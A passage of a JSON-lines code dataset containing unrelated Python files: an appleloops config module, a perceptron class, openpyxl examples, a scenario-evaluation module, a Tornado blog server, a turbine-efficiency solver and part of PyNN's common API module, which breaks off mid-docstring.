CONF['APPLICATIONS']['app_folder']\nAPPLICATIONS = CONF['APPLICATIONS']['supported']\nTEMPDIR = Path(tempfile.gettempdir()) / BUNDLE_ID\nDMG_MOUNT = CONF['DMG']['mountpoint']\nDMG_VOLUME_NAME = CONF['DMG']['volume_name']\nVALID_DMG_FS = CONF['DMG']['valid_fs']\nDMG_DEFAULT_FS = CONF['DMG']['default_fs']\nRUN_UUID = str(uuid4()).upper()\nINSTALL_TARGET = Path(CONF['INSTALL']['target'])\nFAIL_LOG = 'appleloops_failed_installs.log'\nSYSTEM_UPDATER = Path('/{pref}'.format(pref=CONF['UPDATER']['pref']))\nUSER_UPDATER = Path('~/{pref}'.format(pref=CONF['UPDATER']['pref'])).expanduser()\n\n# Have to do other non-core module loading here to avoid circular imports\nfrom . import arguments # NOQA\n\nARGS = arguments.create(choices=PACKAGE_CHOICES)\nDMG_DEFAULT_FS = ARGS.apfs_dmg if ARGS.apfs_dmg else DMG_DEFAULT_FS\n\nLOG.warning('Run UUID: {uuid}'.format(uuid=RUN_UUID))\nLOG.debug('{args}'.format(args=' '.join(sys.argv)))\nLOG.debug('{versionstr}'.format(versionstr=VERSION_STRING))\nLOG.debug('macOS {osver} ({osbuild} {arch})'.format(osver=osinfo.version(), osbuild=osinfo.build(), arch=osinfo.arch()))\nLOG.debug('{pythonver}'.format(pythonver=osinfo.python_ver()))\nLOG.debug('{curlver}'.format(curlver=osinfo.curl_version()))\nLOG.debug('Temporary working directory: {tmpdir}'.format(tmpdir=TEMPDIR))\n","sub_path":"src/loopslib/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"567619179","text":"import random as Random\nfrom Layer import Layer\n\n\nclass Perceptron:\n\n # Constructor\n def __init__(self, inputs, neuronsPerLayer):\n self._layers = []\n self._random = Random\n\n # Input Layer\n self._layers.append(Layer(inputs, neuronsPerLayer[0], self._random))\n\n for i in range(1, len(neuronsPerLayer)):\n self._layers.append(\n Layer(neuronsPerLayer[i - 1], neuronsPerLayer[i], self._random)\n )\n\n\t# Behavior\n def outputs(self, inputs):\n self._layers[0].outputs(inputs)\n\t\t\n for i in range(1, len(self._layers)):\n self._layers[i].outputs(self._layers[i-1].getOutput())\n\n return self._layers[-1].getOutput()\n\n\t# Getters & Setters\n def getLayers(self):\n return self._layers\n","sub_path":"Perceptron/Perceptron.py","file_name":"Perceptron.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"289304339","text":"from openpyxl import Workbook\r\nfrom openpyxl import load_workbook\r\n# Import necessary style classes\r\nfrom openpyxl.styles import Font, Color, Alignment, Border, Side, colors\r\n\r\nwb = Workbook()\r\n \r\n# grab the active worksheet\r\nws = wb.active\r\n \r\n# Data can be assigned directly to cells\r\nws['A1'] = 42\r\n \r\n# Rows can also be appended\r\nws.append([1, 2, 3])\r\n \r\n# Save the file\r\nwb.save('experiments/sample.xlsx')\r\n\r\n######### Append a file\r\n# Start by opening the spreadsheet and selecting the main sheet\r\nworkbook = load_workbook(filename=\"experiments/hello.xlsx\")\r\nworkbook.create_sheet(title=\"My sheet 2\")\r\nsheet = workbook[\"My sheet 2\"]\r\n\r\n# Write what you want into a specific cell\r\nsheet[\"C1\"] = \"writing ;)\"\r\n\r\n# Save the spreadsheet\r\nworkbook.save(filename=\"experiments/hello.xlsx\")\r\n\r\n############ Change Style\r\n# Create a few styles\r\nbold_font = Font(bold=True)\r\nbig_blue_text = Font(color=colors.BLUE, size=20)\r\ncenter_aligned_text = Alignment(horizontal=\"center\")\r\ndouble_border_side = Side(border_style=\"double\")\r\nsquare_border = Border(top=double_border_side,\r\n right=double_border_side,\r\n bottom=double_border_side,\r\n left=double_border_side)\r\n\r\nsheet = workbook[\"My sheet\"]\r\n# Style some cells!\r\nsheet[\"A2\"].font = bold_font\r\nsheet[\"A3\"].font = big_blue_text\r\nsheet[\"A5\"].border = square_border\r\n\r\n# Save the spreadsheet\r\nworkbook.save(filename=\"experiments/hello.xlsx\")","sub_path":"Excel/experiments/openpyxl-exprt.py","file_name":"openpyxl-exprt.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"307129932","text":"# coding=utf-8\n\nfrom abc import ABCMeta\nfrom modelscripts.megamodels.models import (\n ModelElement\n)\nfrom modelscripts.metamodels.permissions.accesses import (\n AccessSet\n)\nfrom modelscripts.metamodels.scenarios.blocks import (\n Block,\n ContextBlock,\n UsecaseInstanceBlock,\n TopLevelBlock\n)\nfrom modelscripts.metamodels.scenarios.evaluations.operations import (\n evaluateOperation,\n)\n\n__all__=(\n 'evaluateBlock',\n 'BlockEvaluation',\n 'ContextBlockEvaluation',\n 'MainBlockEvaluation',\n 'UsecaseInstanceBlockEvaluation',\n 'TopLevelBlockEvaluation'\n)\n\n# TODO: check how to create nested AccessSet so that block can have their own access set\ndef evaluateBlock(scenarioEvaluation, block):\n #type: ('ScenarioEvaluation', Block) -> BlockEvaluation\n if isinstance(block, ContextBlock):\n return ContextBlockEvaluation(scenarioEvaluation, block)\n elif isinstance(block, UsecaseInstanceBlock):\n return UsecaseInstanceBlockEvaluation(scenarioEvaluation, block)\n elif isinstance(block, TopLevelBlock):\n return TopLevelBlockEvaluation(scenarioEvaluation, block)\n else:\n raise NotImplementedError()\n\n\n#----------------------------------------------------------------------------\n# Block evaluation\n#-----------------------------------------------------------------------------\n\nclass BlockEvaluation(ModelElement):\n __metaclass__ = ABCMeta\n\n def __init__(self, scenarioEvaluation, block):\n #type: ('ScenarioEvaluation', Block) -> None\n\n\n self.block=block\n #type: Block\n self.block.blockEvaluation=self\n\n self.scenarioEvaluation=scenarioEvaluation\n #type: 'ScenarioEvaluation'\n\n ModelElement.__init__(self, model=scenarioEvaluation.model)\n\n # self.operationEvaluationByOperation = OrderedDict()\n # #type: Dict[Operation, OperationEvaluation]\n\n\n\n # environment and state are just modified, not stored\n # but it could be convenient to make a copy if needed\n\n self._eval()\n\n @property\n def accessSet(self):\n #type: () -> AccessSet\n return self.scenarioEvaluation.accessSet\n\n def _eval(self):\n for op in self.block.operations:\n opeval=evaluateOperation(self, op)\n op.operationEvaluation=opeval\n\n def _env(self):\n return self.scenarioEvaluation.environment\n\n def _state(self):\n return self.scenarioEvaluation.state\n\n\nclass ContextBlockEvaluation(BlockEvaluation):\n def __init__(self, scenarioEvaluation, block):\n super(ContextBlockEvaluation, self).__init__(\n scenarioEvaluation, block)\n\n\nclass MainBlockEvaluation(BlockEvaluation):\n __metaclass__ = ABCMeta\n\n def __init__(self, scenarioEvaluation, block):\n super(MainBlockEvaluation, self).__init__(\n scenarioEvaluation, block)\n\n\nclass UsecaseInstanceBlockEvaluation(MainBlockEvaluation):\n def __init__(self, scenarioEvaluation, block):\n super(UsecaseInstanceBlockEvaluation, self).__init__(\n scenarioEvaluation, block)\n\n\nclass TopLevelBlockEvaluation(MainBlockEvaluation):\n def __init__(self, scenarioEvaluation, block):\n super(TopLevelBlockEvaluation, self).__init__(\n scenarioEvaluation, block)\n","sub_path":"modelscripts/metamodels/scenarios/evaluations/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"338838172","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n#\n# Copyright 2009 Facebook\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport MySQLdb\nimport os.path\nimport subprocess\nimport torndb\nimport tornado.escape\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.options\nimport tornado.web\nfrom Controllers import *\nfrom tornado.options import define, options\nimport UIModules\nfrom utils.config import *\n\ndefine(\"port\", default=8888, help=\"run on the given port\", type=int)\ndefine(\"mysql_host\", default=\"127.0.0.1:3306\", help=\"blog database host\")\ndefine(\"mysql_database\", default=\"blog\", help=\"blog database name\")\ndefine(\"mysql_user\", default=\"root\", help=\"blog database user\")\ndefine(\"mysql_password\", default=\"\", help=\"blog database password\")\n\n\nclass Application(tornado.web.Application):\n def __init__(self):\n handlers = [\n (r\"/\", HomeHandler),\n (r\"/blog\", BlogHandler),\n (r\"/archive\", ArchiveHandler),\n (r\"/feed\", FeedHandler),\n (r\"/entry/([^/]+)\", EntryHandler),\n (r\"/compose\", ComposeHandler), #创建并修改\n (r\"/category\", CategoryHandler), #分类\n (r\"/auth/create\", AuthCreateHandler),\n (r\"/auth/login\", AuthLoginPostHandler),\n (r\"/auth/logout\", AuthLogoutHandler),\n (r\"/join\", JoinHandler),\n ]\n settings = dict(\n blog_title=u\"Tornado Blog\",\n template_path=os.path.join(\n os.path.dirname(__file__), TEMPLATES_NAME),\n static_path=os.path.join(os.path.dirname(__file__), \"static\"),\n ui_modules=UIModules,\n xsrf_cookies=True,\n cookie_secret=\"__TODO:_GENERATE_YOUR_OWN_RANDOM_VALUE_HERE__\",\n login_url=\"/auth/login\",\n debug=True,\n )\n super(Application, self).__init__(handlers, **settings)\n # Have one global connection to the blog DB across all handlers\n self.db = torndb.Connection(\n host=options.mysql_host, database=options.mysql_database,\n user=options.mysql_user, password=options.mysql_password)\n\n # self.maybe_create_tables()\n\n # def maybe_create_tables(self):\n # try:\n # self.db.get(\"SELECT COUNT(*) from wp_users;\")\n # except MySQLdb.ProgrammingError:\n # subprocess.check_call(['mysql',\n # '--host=' + options.mysql_host,\n # '--database=' + options.mysql_database,\n # '--user=' + options.mysql_user,\n # '--password=' + options.mysql_password],\n # stdin=open('blog.sql'))\n\n\ndef main():\n tornado.options.parse_command_line()\n print(\"Starting tornado web server on http://127.0.0.1:%s\" % options.port)\n print(\"Quit the server with CONTROL-C\")\n http_server = tornado.httpserver.HTTPServer(Application())\n http_server.listen(options.port)\n tornado.ioloop.IOLoop.current().start()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"514772210","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 29 18:49:13 2021\n\n@author: alondra sola\n\nProject: turbine design tool (TFG)\nProgram: inclusion of losses for 1D turbine\nFile: main.py\n\n\"\"\"\n\nimport numpy as np\nimport aux_functions as f\nfrom converge_mach3 import converge_mach3\nfrom solve_functions import solve_geometry\nfrom check_limits import check_limits\nfrom scipy.optimize import fsolve\nfrom kackerokapuu import kackerokapuu\n\ndef converge_efficiencies(efficiencies_init, stator, rotor, one, two, thr, gamma, cp, R, GR, psi, DeltaH_prod, bounds_angles, RHT, mdot):\n\n def f_etas(etas, stator, rotor, one, two, thr, gamma, cp, R, GR, psi, DeltaH_prod, bounds_angles, RHT, mdot):\n stator.eta = etas[0]\n rotor.eta = etas[1]\n\n\n # 1.\n # mach 3 converge until calculated value meets the initial guess\n # inside of this function, alpha2 and beta 3 are also set so that the DeltaH is met\n one, two, thr, stator, rotor = converge_mach3(one, two, thr, stator, rotor, gamma, cp, R, GR, psi, DeltaH_prod, bounds_angles)\n\n # 1.2\n # calculate loss coefficients\n stator = f.losses(two.vel.V, two.vel.Vs, one.P0, two.P0, two.P, stator)\n rotor = f.losses(thr.vel.W, thr.vel.Ws, two.P0r, thr.P0r, thr.P, rotor)\n\n # 1.4\n # compute total condtions\n thr.T0, thr.P0 = f.total_conditions(thr.T, thr.vel.V, thr.P, cp, gamma)\n\n\n # 2.\n # establish geometry after assuming RHT\n solve_geometry(RHT, one, two, thr, mdot, R, gamma, cp)\n\n # efficiency calculations\n stator.eta = (one.T0 - thr.T0)/(one.T0 - (thr.Ts+thr.vel.V**2/2/cp))\n rotor.eta = (one.T0 - thr.T0)/(one.T0 - thr.Ts)\n\n # calculate reynolds numbers\n f.reynolds(two, thr)\n\n # use kacker-okapuu to calculate losses in stator and rotor\n stator.omegaKC = kackerokapuu('stator', two.geo.s, abs(one.alpha), abs(two.beta), two.geo.c, two.geo.bx, two.geo.h, one.vel.M, two.vel.M, one.P, two.P, gamma, RHT, two.Re, two.geo.to)\n rotor.omegaKC = kackerokapuu('rotor', thr.geo.s, abs(two.alpha), abs(thr.beta), thr.geo.c, thr.geo.bx, thr.geo.h, two.vel.Mr, thr.vel.Mr, two.P, thr.P, gamma, RHT, thr.Re, thr.geo.to)\n\n\n diff1 = abs(stator.omega - stator.omegaKC)\n diff2 = abs(rotor.omega - rotor.omegaKC)\n\n return np.array([diff1, diff2])\n\n\n etas = fsolve(f_etas,efficiencies_init,args=(stator, rotor, one, two, thr, gamma, cp, R, GR, psi, DeltaH_prod, bounds_angles, RHT, mdot))\n\n stator.eta = etas[0]\n rotor.eta = etas[1]\n\n\n # 1.\n # mach 3 converge until calculated value meets the initial guess\n # inside of this function, alpha2 and beta 3 are also set so that the DeltaH is met\n one, two, thr, stator, rotor = converge_mach3(one, two, thr, stator, rotor, gamma, cp, R, GR, psi, DeltaH_prod, bounds_angles)\n\n # 1.2\n # calculate loss coefficients\n stator = f.losses(two.vel.V, two.vel.Vs, one.P0, two.P0, two.P, stator)\n rotor = f.losses(thr.vel.W, thr.vel.Ws, two.P0r, thr.P0r, thr.P, rotor)\n\n # 1.4\n # compute total condtions\n thr.T0, thr.P0 = f.total_conditions(thr.T, thr.vel.V, thr.P, cp, gamma)\n\n\n # 2.\n # establish geometry after assuming RHT\n solve_geometry(RHT, one, two, thr, mdot, R, gamma, cp)\n\n # 2.2\n # check limits\n pass_limits = check_limits(two, thr)\n\n stator.eta = (one.T0 - thr.T0)/(one.T0 - (thr.Ts+thr.vel.V**2/2/cp))\n rotor.eta = (one.T0 - thr.T0)/(one.T0 - thr.Ts)\n\n\n","sub_path":"code/losses/saves/save5_ geometry graphs/converge_efficiencies.py","file_name":"converge_efficiencies.py","file_ext":"py","file_size_in_byte":3475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"74716196","text":"# encoding: utf-8\n\"\"\"\nDefines a common implementation of the PyNN API.\n\nSimulator modules are not required to use any of the code herein, provided they\nprovide the correct interface, but it is suggested that they use as much as is\nconsistent with good performance (optimisations may require overriding some of\nthe default definitions given here).\n\nUtility functions and classes:\n is_conductance()\n check_weight()\n check_delay()\n\nAccessing individual neurons:\n IDMixin\n\nCommon API implementation/base classes:\n 1. Simulation set-up and control:\n setup()\n end()\n run()\n reset()\n get_time_step()\n get_current_time()\n get_min_delay()\n get_max_delay()\n rank()\n num_processes()\n\n 2. Creating, connecting and recording from individual neurons:\n create()\n connect()\n set()\n initialize()\n build_record()\n\n 3. Creating, connecting and recording from populations of neurons:\n Population\n PopulationView\n Assembly\n Projection\n\n:copyright: Copyright 2006-2013 by the PyNN team, see AUTHORS.\n:license: CeCILL, see LICENSE for details.\n\n$Id: common.py 1258 2013-01-31 15:01:25Z apdavison $\n\"\"\"\n\nimport numpy, os\nimport logging\nfrom warnings import warn\nimport operator\nimport tempfile\nfrom pyNN import random, recording, errors, models, standardmodels, core, space, descriptions\nfrom pyNN.recording import files\nfrom itertools import chain\nif not 'simulator' in locals():\n simulator = None # should be set by simulator-specific modules\n\nDEFAULT_WEIGHT = 0.0\nDEFAULT_BUFFER_SIZE = 10000\nDEFAULT_MAX_DELAY = 10.0\nDEFAULT_TIMESTEP = 0.1\nDEFAULT_MIN_DELAY = DEFAULT_TIMESTEP\n\nlogger = logging.getLogger(\"PyNN\")\n\n# =============================================================================\n# Utility functions and classes\n# =============================================================================\n\n\ndef is_conductance(target_cell):\n \"\"\"\n Returns True if the target cell uses conductance-based synapses, False if\n it uses current-based synapses, and None if the synapse-basis cannot be\n determined.\n \"\"\"\n if hasattr(target_cell, 'local') and target_cell.local and hasattr(target_cell, 'celltype'):\n is_conductance = target_cell.celltype.conductance_based\n else:\n is_conductance = None\n return is_conductance\n\n\ndef check_weight(weight, synapse_type, is_conductance):\n if weight is None:\n weight = DEFAULT_WEIGHT\n if core.is_listlike(weight):\n weight = numpy.array(weight)\n nan_filter = (1 - numpy.isnan(weight)).astype(bool) # weight arrays may contain NaN, which should be ignored\n filtered_weight = weight[nan_filter]\n all_negative = (filtered_weight <= 0).all()\n all_positive = (filtered_weight >= 0).all()\n if not (all_negative or all_positive):\n raise errors.InvalidWeightError(\"Weights must be either all positive or all negative\")\n elif numpy.isreal(weight):\n all_positive = weight >= 0\n all_negative = weight < 0\n else:\n raise errors.InvalidWeightError(\"Weight must be a number or a list/array of numbers.\")\n if is_conductance or synapse_type == 'excitatory':\n if not all_positive:\n raise errors.InvalidWeightError(\"Weights must be positive for conductance-based and/or excitatory synapses\")\n elif is_conductance == False and synapse_type == 'inhibitory':\n if not all_negative:\n raise errors.InvalidWeightError(\"Weights must be negative for current-based, inhibitory synapses\")\n else: # is_conductance is None. This happens if the cell does not exist on the current node.\n logger.debug(\"Can't check weight, conductance status unknown.\")\n return weight\n\n\ndef check_delay(delay):\n if delay is None:\n delay = get_min_delay()\n # If the delay is too small , we have to throw an error\n if delay < get_min_delay() or delay > get_max_delay():\n raise errors.ConnectionError(\"delay (%s) is out of range [%s,%s]\" % \\\n (delay, get_min_delay(), get_max_delay()))\n return delay\n\n\n# =============================================================================\n# Accessing individual neurons\n# =============================================================================\n\nclass IDMixin(object):\n \"\"\"\n Instead of storing ids as integers, we store them as ID objects,\n which allows a syntax like:\n p[3,4].tau_m = 20.0\n where p is a Population object.\n \"\"\"\n # Simulator ID classes should inherit both from the base type of the ID\n # (e.g., int or long) and from IDMixin.\n\n def __getattr__(self, name):\n try:\n val = self.__getattribute__(name)\n except AttributeError:\n if name == \"parent\":\n raise Exception(\"parent is not set\")\n try:\n val = self.get_parameters()[name]\n except KeyError:\n raise errors.NonExistentParameterError(name,\n self.celltype.__class__.__name__,\n self.celltype.get_parameter_names())\n return val\n\n def __setattr__(self, name, value):\n if name == \"parent\":\n object.__setattr__(self, name, value)\n elif self.celltype.has_parameter(name):\n self.set_parameters(**{name: value})\n else:\n object.__setattr__(self, name, value)\n\n def set_parameters(self, **parameters):\n \"\"\"\n Set cell parameters, given as a sequence of parameter=value arguments.\n \"\"\"\n # if some of the parameters are computed from the values of other\n # parameters, need to get and translate all parameters\n if self.local:\n if self.is_standard_cell:\n computed_parameters = self.celltype.computed_parameters()\n have_computed_parameters = numpy.any([p_name in computed_parameters\n for p_name in parameters])\n if have_computed_parameters:\n all_parameters = self.get_parameters()\n all_parameters.update(parameters)\n parameters = all_parameters\n parameters = self.celltype.translate(parameters)\n self.set_native_parameters(parameters)\n else:\n raise errors.NotLocalError(\"Cannot set parameters for a cell that does not exist on this node.\")\n\n def get_parameters(self):\n \"\"\"Return a dict of all cell parameters.\"\"\"\n if self.local:\n parameters = self.get_native_parameters()\n if self.is_standard_cell:\n parameters = self.celltype.reverse_translate(parameters)\n return parameters\n else:\n raise errors.NotLocalError(\"Cannot obtain parameters for a cell that does not exist on this node.\")\n\n @property\n def celltype(self):\n return self.parent.celltype\n\n @property\n def is_standard_cell(self):\n return issubclass(self.celltype.__class__, standardmodels.StandardCellType)\n\n def _set_position(self, pos):\n \"\"\"\n Set the cell position in 3D space.\n\n Cell positions are stored in an array in the parent Population.\n \"\"\"\n assert isinstance(pos, (tuple, numpy.ndarray))\n assert len(pos) == 3\n self.parent._set_cell_position(self, pos)\n\n def _get_position(self):\n \"\"\"\n Return the cell position in 3D space.\n\n Cell positions are stored in an array in the parent Population, if any,\n or within the ID object otherwise. Positions are generated the first\n time they are requested and then cached.\n \"\"\"\n return self.parent._get_cell_position(self)\n\n position = property(_get_position, _set_position)\n\n @property\n def local(self):\n return self.parent.is_local(self)\n\n def inject(self, current_source):\n \"\"\"Inject current from a current source object into the cell.\"\"\"\n current_source.inject_into([self])\n\n def get_initial_value(self, variable):\n \"\"\"Get the initial value of a state variable of the cell.\"\"\"\n return self.parent._get_cell_initial_value(self, variable)\n\n def set_initial_value(self, variable, value):\n \"\"\"Set the initial value of a state variable of the cell.\"\"\"\n self.parent._set_cell_initial_value(self, variable, value)\n\n def as_view(self):\n \"\"\"Return a PopulationView containing just this cell.\"\"\" \n index = self.parent.id_to_index(self) \n return self.parent[index:index+1] \n\n# =============================================================================\n# Functions for simulation set-up and control\n# =============================================================================\n\n\ndef setup(timestep=DEFAULT_TIMESTEP, min_delay=DEFAULT_MIN_DELAY,\n max_delay=DEFAULT_MAX_DELAY, **extra_params):\n \"\"\"\n Initialises/reinitialises the simulator. Any existing network structure is\n destroyed.\n \n extra_params contains any keyword arguments that are required by a given\n simulator but not by others.\n \"\"\"\n invalid_extra_params = ('mindelay', 'maxdelay', 'dt')\n for param in invalid_extra_params:\n if param in extra_params:\n raise Exception(\"%s is not a valid argument for setup()\" % param)\n if min_delay > max_delay:\n raise Exception(\"min_delay has to be less than or equal to max_delay.\")\n if min_delay < timestep:\n raise Exception(\"min_delay (%g) must be greater than timestep (%g)\" % (min_delay, timestep))\n\ndef end(compatible_output=True):\n \"\"\"Do any necessary cleaning up before exiting.\"\"\"\n raise NotImplementedError\n\ndef run(simtime):\n \"\"\"Run the simulation for simtime ms.\"\"\"\n raise NotImplementedError\n\ndef reset():\n \"\"\"\n Reset the time to zero, neuron membrane potentials and synaptic weights to\n their initial values, and delete any recorded data. The network structure\n is not changed, nor is the specification of which neurons to record from.\n \"\"\"\n simulator.reset()\n\ndef initialize(cells, variable, value):\n assert isinstance(cells, (BasePopulation, Assembly)), type(cells)\n cells.initialize(variable, value)\n\ndef get_current_time():\n \"\"\"Return the current time in the simulation.\"\"\"\n return simulator.state.t\n\ndef get_time_step():\n \"\"\"Return the integration time step.\"\"\"\n return simulator.state.dt\n\ndef get_min_delay():\n \"\"\"Return the minimum allowed synaptic delay.\"\"\"\n return simulator.state.min_delay\n\ndef get_max_delay():\n \"\"\"Return the maximum allowed synaptic delay.\"\"\"\n return simulator.state.max_delay\n\ndef num_processes():\n \"\"\"Return the number of MPI processes.\"\"\"\n return simulator.state.num_processes\n\ndef rank():\n \"\"\"Return the MPI rank of the current node.\"\"\"\n return simulator.state.mpi_rank\n\n# =============================================================================\n# Low-level API for creating, connecting and recording from individual neurons\n# =============================================================================\n\ndef build_create(population_class):\n def create(cellclass, cellparams=None, n=1):\n \"\"\"\n Create n cells all of the same type.\n\n If n > 1, return a list of cell ids/references.\n If n==1, return just the single id.\n \"\"\"\n return population_class(n, cellclass, cellparams) # return the Population or Population.all_cells?\n return create\n\ndef build_connect(projection_class, connector_class):\n def connect(source, target, weight=0.0, delay=None, synapse_type=None,\n p=1, rng=None):\n \"\"\"\n Connect a source of spikes to a synaptic target.\n\n source and target can both be individual cells or lists of cells, in\n which case all possible connections are made with probability p, using\n either the random number generator supplied, or the default rng\n otherwise. Weights should be in nA or µS.\n \"\"\"\n if isinstance(source, IDMixin):\n source = source.as_view()\n if isinstance(target, IDMixin):\n target = target.as_view()\n connector = connector_class(p_connect=p, weights=weight, delays=delay)\n return projection_class(source, target, connector, target=synapse_type, rng=rng)\n return connect\n\ndef set(cells, param, val=None):\n \"\"\"\n Set one or more parameters of an individual cell or list of cells.\n\n param can be a dict, in which case val should not be supplied, or a string\n giving the parameter name, in which case val is the parameter value.\n \"\"\"\n assert isinstance(cells, (BasePopulation, Assembly))\n cells.set(param, val)\n\ndef build_record(variable, simulator):\n def record(source, filename):\n \"\"\"\n Record spikes to a file. source can be an individual cell, a Population,\n PopulationView or Assembly.\n \"\"\"\n # would actually like to be able to record to an array and choose later\n # whether to write to a file.\n if not isinstance(source, (BasePopulation, Assembly)):\n source = source.parent\n source._record(variable, to_file=filename)\n # recorder_list is used by end()\n if isinstance(source, BasePopulation):\n simulator.recorder_list.append(source.recorders[variable]) # this is a bit hackish - better to add to Population.__del__?\n if isinstance(source, Assembly):\n for population in source.populations:\n simulator.recorder_list.append(population.recorders[variable])\n if variable == 'v':\n record.__name__ = \"record_v\"\n record.__doc__ = \"\"\"\n Record membrane potential to a file. source can be an individual\n cell, a Population, PopulationView or Assembly.\"\"\"\n elif variable == 'gsyn':\n record.__name__ = \"record_gsyn\"\n record.__doc__ = \"\"\"\n Record synaptic conductances to a file. source can be an individual\n cell, a Population, PopulationView or Assembly.\"\"\"\n return record\n\n\n# =============================================================================\n# High-level API for creating, connecting and recording from populations of\n# neurons.\n# =============================================================================\n\nclass BasePopulation(object):\n record_filter = None\n\n def __getitem__(self, index):\n \"\"\"\n Return either a single cell (ID object) from the Population, if index\n is an integer, or a subset of the cells (PopulationView object), if\n index is a slice or array.\n \n Note that __getitem__ is called when using [] access, e.g.\n p = Population(...)\n p[2] is equivalent to p.__getitem__(2).\n p[3:6] is equivalent to p.__getitem__(slice(3, 6))\n \"\"\"\n if isinstance(index, int):\n return self.all_cells[index]\n elif isinstance(index, (slice, list, numpy.ndarray)):\n return PopulationView(self, index)\n elif isinstance(index, tuple):\n return PopulationView(self, list(index))\n else:\n raise TypeError(\"indices must be integers, slices, lists, arrays or tuples, not %s\" % type(index).__name__)\n\n def __len__(self):\n \"\"\"Return the total number of cells in the population (all nodes).\"\"\"\n return self.size\n\n @property\n def local_size(self):\n return len(self.local_cells) # would self._mask_local.sum() be faster?\n\n def __iter__(self):\n \"\"\"Iterator over cell ids on the local node.\"\"\"\n return iter(self.local_cells)\n\n @property\n def conductance_based(self):\n return self.celltype.conductance_based\n\n def is_local(self, id):\n \"\"\"\n Determine whether the cell with the given ID exists on the local MPI node.\n \"\"\"\n assert id.parent is self\n index = self.id_to_index(id)\n return self._mask_local[index]\n\n def all(self):\n \"\"\"Iterator over cell ids on all nodes.\"\"\"\n return iter(self.all_cells)\n\n def __add__(self, other):\n \"\"\"\n A Population/PopulationView can be added to another Population,\n PopulationView or Assembly, returning an Assembly.\n \"\"\"\n assert isinstance(other, BasePopulation)\n return Assembly(self, other)\n\n def _get_cell_position(self, id):\n index = self.id_to_index(id)\n return self.positions[:, index]\n\n def _set_cell_position(self, id, pos):\n index = self.id_to_index(id)\n self.positions[:, index] = pos\n\n def _get_cell_initial_value(self, id, variable):\n assert isinstance(self.initial_values[variable], core.LazyArray)\n index = self.id_to_local_index(id)\n return self.initial_values[variable][index]\n\n def _set_cell_initial_value(self, id, variable, value):\n assert isinstance(self.initial_values[variable], core.LazyArray)\n index = self.id_to_local_index(id)\n self.initial_values[variable][index] = value\n\n def nearest(self, position):\n \"\"\"Return the neuron closest to the specified position.\"\"\"\n # doesn't always work correctly if a position is equidistant between\n # two neurons, i.e. 0.5 should be rounded up, but it isn't always.\n # also doesn't take account of periodic boundary conditions\n pos = numpy.array([position] * self.positions.shape[1]).transpose()\n dist_arr = (self.positions - pos)**2\n distances = dist_arr.sum(axis=0)\n nearest = distances.argmin()\n return self[nearest]\n\n def sample(self, n, rng=None):\n \"\"\"\n Randomly sample n cells from the Population, and return a PopulationView\n object.\n \"\"\"\n assert isinstance(n, int)\n if not rng:\n rng = random.NumpyRNG()\n indices = rng.permutation(numpy.arange(len(self)))[0:n]\n logger.debug(\"The %d cells recorded have indices %s\" % (n, indices))\n logger.debug(\"%s.sample(%s)\", self.label, n)\n return PopulationView(self, indices)\n\n def get(self, parameter_name, gather=False):\n \"\"\"\n Get the values of a parameter for every local cell in the population.\n \"\"\"\n # if all the cells have the same value for this parameter, should\n # we return just the number, rather than an array?\n \n if hasattr(self, \"_get_array\"):\n values = self._get_array(parameter_name).tolist()\n else:\n values = [getattr(cell, parameter_name) for cell in self] # list or array?\n \n if gather == True and num_processes() > 1:\n all_values = { rank(): values }\n all_indices = { rank(): self.local_cells.tolist()}\n all_values = recording.gather_dict(all_values)\n all_indices = recording.gather_dict(all_indices)\n if rank() == 0:\n values = reduce(operator.add, all_values.values())\n indices = reduce(operator.add, all_indices.values())\n idx = numpy.argsort(indices)\n values = numpy.array(values)[idx]\n return values\n\n def set(self, param, val=None):\n \"\"\"\n Set one or more parameters for every cell in the population. param\n can be a dict, in which case val should not be supplied, or a string\n giving the parameter name, in which case val is the parameter value.\n val can be a numeric value, or list of such (e.g. for setting spike\n times).\n e.g. p.set(\"tau_m\",20.0).\n p.set({'tau_m':20,'v_rest':-65})\n \"\"\"\n #\"\"\"\n # -- Proposed change to arguments --\n #Set one or more parameters for every cell in the population.\n #\n #Each value may be a single number or a list/array of numbers of the same\n #size as the population. If the parameter itself takes lists/arrays as\n #values (e.g. spike times), then the value provided may be either a\n #single lists/1D array, a list of lists/1D arrays, or a 2D array.\n #\n #e.g. p.set(tau_m=20.0).\n # p.set(tau_m=20, v_rest=[-65.0, -65.3, ... , -67.2])\n #\"\"\"\n if isinstance(param, str):\n param_dict = {param: val}\n elif isinstance(param, dict):\n param_dict = param\n else:\n raise errors.InvalidParameterValueError\n param_dict = self.celltype.checkParameters(param_dict, with_defaults=False)\n logger.debug(\"%s.set(%s)\", self.label, param_dict)\n if hasattr(self, \"_set_array\"):\n self._set_array(**param_dict)\n else:\n for cell in self:\n cell.set_parameters(**param_dict)\n\n def tset(self, parametername, value_array):\n \"\"\"\n 'Topographic' set. Set the value of parametername to the values in\n value_array, which must have the same dimensions as the Population.\n \"\"\"\n #\"\"\"\n # -- Proposed change to arguments --\n #'Topographic' set. Each value in parameters should be a function that\n #accepts arguments x,y,z and 